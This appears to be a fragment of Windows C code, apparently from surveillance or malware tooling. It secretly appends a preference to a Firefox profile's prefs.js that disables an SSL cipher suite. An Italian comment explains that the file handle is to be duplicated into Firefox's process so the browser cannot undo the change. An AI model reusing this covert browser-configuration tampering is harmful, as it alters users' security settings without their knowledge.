void WriteBLFirefox(WCHAR *config_path) { HANDLE hFile; DWORD dummy; char buffer[] = "\r\nuser_pref(\"security.ssl3.ecdhe_rsa_rc4_128_sha\", false);"; if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)) != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, buffer, strlen(buffer), &dummy, NULL); FlushFileBuffers(hFile); } // Bisogna lasciare l'handle aperto (e duplicarlo nel processo principale di FF) per evitare che sovrascriva il file in uscita } void main() { WriteBLFirefox(L"C:\\Users\\naga\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\y83yeiig.default\\prefs.js"); }